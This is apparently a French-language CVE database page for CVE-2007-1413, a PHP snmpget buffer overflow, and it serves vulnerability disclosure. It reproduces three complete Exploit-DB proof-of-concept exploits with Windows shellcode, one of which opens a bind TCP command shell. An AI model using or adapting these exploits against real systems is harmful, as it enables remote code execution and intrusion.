CVE-2007-1413 : Détail

CVE-2007-1413

Overflow
1.34%V3
Network
2007-03-12
22h00 +00:00
2017-10-09
22h57 +00:00
CVE.org
NVD
Notifications pour un CVE
Restez informé de toutes modifications pour un CVE spécifique.
Gestion des notifications

Descriptions du CVE

Buffer overflow in the snmpget function in the snmp extension in PHP 5.2.3 and earlier, including PHP 4.4.6 and probably other PHP 4 versions, allows context-dependent attackers to execute arbitrary code via a long value in the third argument (object id).

Informations du CVE

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE-119 Improper Restriction of Operations within the Bounds of a Memory Buffer
The product performs operations on a memory buffer, but it reads from or writes to a memory location outside the buffer's intended boundary. This may result in read or write operations on unexpected memory locations that could be linked to other variables, data structures, or internal program data.

Métriques

Métriques Score Gravité CVSS Vecteur Source
V2 7.5 AV:N/AC:L/Au:N/C:P/I:P/A:P [email protected]

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
EPSS First.org

Informations sur l'Exploit

Exploit Database EDB-ID : 3439

Date de publication : 2007-03-08 23h00 +00:00
Auteur : rgod
EDB Vérifié : Yes

<?php // PHP 4.4.6 snmpget() object id local buffer overflow poc exploit // by rgod // site: http://retrogod.altervista.org // win xp sp2 version // to be launched form the cli if (!extension_loaded("snmp")){ die("you need the snmp extension loaded."); } $____scode= "\xeb\x1b". "\x5b". "\x31\xc0". "\x50". "\x31\xc0". "\x88\x43\x59". "\x53". "\xbb\x6d\x13\x86\x7c". //WinExec "\xff\xd3". "\x31\xc0". "\x50". "\xbb\xda\xcd\x81\x7c". //ExitProcess "\xff\xd3". "\xe8\xe0\xff\xff\xff". "\x63\x6d\x64". "\x2e". "\x65". "\x78\x65". "\x20\x2f". "\x63\x20". "start notepad & "; $edx="\x64\x8f\x9b\x01"; //jmp scode $eip="\x73\xdc\x82\x7c"; //0x7C82DC73 jmp edx $____suntzu=str_repeat("A",188).$edx.str_repeat("A",64).$eip.str_repeat("\x90",48).$____scode.str_repeat("\x90",48); //more than 256 chars result in simple eip overwrite snmpget(1,1,$____suntzu); ?> # milw0rm.com [2007-03-09]
Exploit Database EDB-ID : 4204

Date de publication : 2007-07-19 22h00 +00:00
Auteur : shinnai
EDB Vérifié : Yes

<?php //PHP <= 5.2.3 snmpget() object id local Buffer Overflow eip overwrite exploit //bug discovered by rgod //Original advisory: http://retrogod.altervista.org/php_446_snmpget_local_bof.html //[quote="rgod"]more than 256 chars result in simple eip overwrite[/quote] //right! so here it is an exploit using eip overwrite //author: shinnai //mail: shinnai[at]autistici[dot]org //site: http://shinnai.altervista.org //Tested on xp Pro sp2 full patched if (!extension_loaded("snmp")) die("snmp extension required!"); $buffer = str_repeat("A",256); $EIP="\xFF\xBE\x3F\x7E"; //call esp from user32.dll $nop=str_repeat("\x90",8); $shellcode= //execute calc.exe "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49". "\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36". "\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34". "\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41". "\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x54". "\x42\x30\x42\x50\x42\x50\x4b\x58\x45\x54\x4e\x53\x4b\x58\x4e\x37". "\x45\x50\x4a\x47\x41\x30\x4f\x4e\x4b\x38\x4f\x44\x4a\x51\x4b\x48". "\x4f\x55\x42\x42\x41\x30\x4b\x4e\x49\x44\x4b\x48\x46\x43\x4b\x38". "\x41\x30\x50\x4e\x41\x53\x42\x4c\x49\x49\x4e\x4a\x46\x58\x42\x4c". "\x46\x57\x47\x50\x41\x4c\x4c\x4c\x4d\x50\x41\x30\x44\x4c\x4b\x4e". "\x46\x4f\x4b\x53\x46\x35\x46\x32\x46\x30\x45\x37\x45\x4e\x4b\x48". "\x4f\x35\x46\x32\x41\x50\x4b\x4e\x48\x56\x4b\x38\x4e\x50\x4b\x54". "\x4b\x48\x4f\x55\x4e\x31\x41\x30\x4b\x4e\x4b\x38\x4e\x41\x4b\x38". "\x41\x30\x4b\x4e\x49\x58\x4e\x35\x46\x42\x46\x50\x43\x4c\x41\x43". "\x42\x4c\x46\x36\x4b\x48\x42\x34\x42\x33\x45\x38\x42\x4c\x4a\x37". "\x4e\x30\x4b\x48\x42\x34\x4e\x50\x4b\x48\x42\x57\x4e\x31\x4d\x4a". "\x4b\x38\x4a\x46\x4a\x50\x4b\x4e\x49\x50\x4b\x48\x42\x38\x42\x4b". "\x42\x30\x42\x50\x42\x30\x4b\x48\x4a\x36\x4e\x53\x4f\x35\x41\x33". "\x48\x4f\x42\x46\x48\x35\x49\x58\x4a\x4f\x43\x48\x42\x4c\x4b\x57". "\x42\x55\x4a\x46\x42\x4f\x4c\x48\x46\x50\x4f\x35\x4a\x46\x4a\x49". "\x50\x4f\x4c\x38\x50\x30\x47\x55\x4f\x4f\x47\x4e\x43\x56\x41\x36". "\x4e\x46\x43\x46\x50\x52\x45\x36\x4a\x37\x45\x36\x42\x30\x5a"; $egg = $buffer.$EIP.$nop.$shellcode.$nop; snmpget (1, 1, $egg); ?> # milw0rm.com [2007-07-20]
Exploit Database EDB-ID : 4274

Date de publication : 2007-08-08 22h00 +00:00
Auteur : Inphex
EDB Vérifié : Yes

<?php /* Inphex reference ->http://milw0rm.com/exploits/4204 317 Bytes , Windows Command Shell Bind TCP Inline , Architecture x86 , Windows TinyXP - vm. GET /script.php HTTP/1.1\n telnet 192.168.2.32 4444 Microsoft Windows XP [Version 5.1.2600] (C) Copyright 1985-2001 Microsoft Corp. C:\apache> */ if (!extension_loaded("snmp")) { die("snmp extension required!"); } $buffer = str_repeat("A",254); $ret = "\xD7\x98\x95\x7C"; #shell32.dll ->CALL EDI WindowsXP $shellcode= "\xbd\xdb\xc6\x38\x8f\xd9\xc9\xd9\x74\x24\xf4\x58\x31\xc9" . "\xb1\x51\x83\xc0\x04\x31\x68\x0e\x03\xb3\xc8\xda\x7a\xbf" . "\xbf\xf1\xc8\xd7\xb9\xf9\x2c\xd8\x5a\x8d\xbf\x02\xbf\x1a" . "\x7a\x76\x34\x60\x80\xfe\x4b\x76\x01\xb1\x53\x03\x49\x6d" . "\x65\xf8\x3f\xe6\x51\x75\xbe\x16\xa8\x49\x58\x4a\x4f\x89" . "\x2f\x95\x91\xc0\xdd\x98\xd3\x3e\x29\xa1\x87\xe4\xfa\xa0" . "\xc2\x6e\xa5\x6e\x0c\x9a\x3c\xe5\x02\x17\x4a\xa6\x06\xa6" . "\xa7\x5b\x1b\x23\xbe\x37\x47\x2f\xa0\x04\xb6\x94\x46\x01" . "\xfa\x1a\x0c\x55\xf1\xd1\x62\x49\xa4\x6d\xc2\x79\xe8\x19" . "\x4d\x37\x1a\x36\x01\x38\xf4\xa0\xf1\xa0\x91\x1f\xc4\x44" . "\x15\x13\x1a\xcb\x8d\x2c\x8a\x9b\xe6\x3e\xd7\x60\xa9\x3f" . "\xfe\xc9\xc0\x25\x99\x74\x3f\xad\x64\x23\xaa\xac\x97\x1b" . "\x42\x68\x6e\x6e\x3e\xdd\x8e\x46\x12\xb1\x23\x35\xc6\x76" . "\x97\xfa\xbb\x87\xc7\x9a\x53\x69\xb4\x04\xf7\x00\xa5\x5d" . "\x9f\xb6\x3c\x2d\xa7\xe0\xbf\x1b\x4d\x1f\x11\xf6\x6d\xcf" . "\xf9\x5c\x3c\xde\x10\xcb\xc0\xc9\xb0\xa6\xc1\x26\x5e\xad" . "\x77\x41\xd6\x7a\x77\x9b\xb9\xd0\xd3\x71\xc5\x08\x48\x11" . "\xde\xd1\xa9\x9b\x77\xde\xe0\x09\x87\xf0\x6b\xd8\x13\x96" . "\x1b\x7f\xb1\xdf\x39\x15\x19\x86\xe8\x26\x10\xdf\x81\xf2" . "\xaa\xfd\x67\x3b\x5f\xab\x76\xf9\x8d\x55\xc4\xd2\x5e\x24" . "\xb3\x12\xca\x9d\xef\x0b\x7e\x1f\x5c\xdd\x81\xaa\xe7\x1d" . "\xab\x0f\xbf\xb3\x05\xfe\x6e\x5e\xa7\x51\xc0\xcb\xf6\xae" . "\x32\x9b\x55\x89\xb6\x92\xf5\xd6\x6f\x40\x05\xd7\xa7\x6a" . "\x29\xac\x9f\x68\x49\x76\x7b\x6e\x98\x24\x7b\x40\x4d\x38" . "\x09\x65\xd1\xeb\xf1\xb0\x12\xdb\x0e\x3d\xed"; snmpget (1, 1, $buffer."\xeb\x04".$ret."".$shellcode.""); ?> # milw0rm.com [2007-08-09]

Products Mentioned

Configuraton 0

Php>>Php >> Version To (including) 5.2.3

Php>>Php >> Version 4.4.6

Références

https://www.exploit-db.com/exploits/4204
Tags : exploit, x_refsource_EXPLOIT-DB
https://www.exploit-db.com/exploits/3439
Tags : exploit, x_refsource_EXPLOIT-DB
http://secunia.com/advisories/24440
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.securityfocus.com/bid/22893
Tags : vdb-entry, x_refsource_BID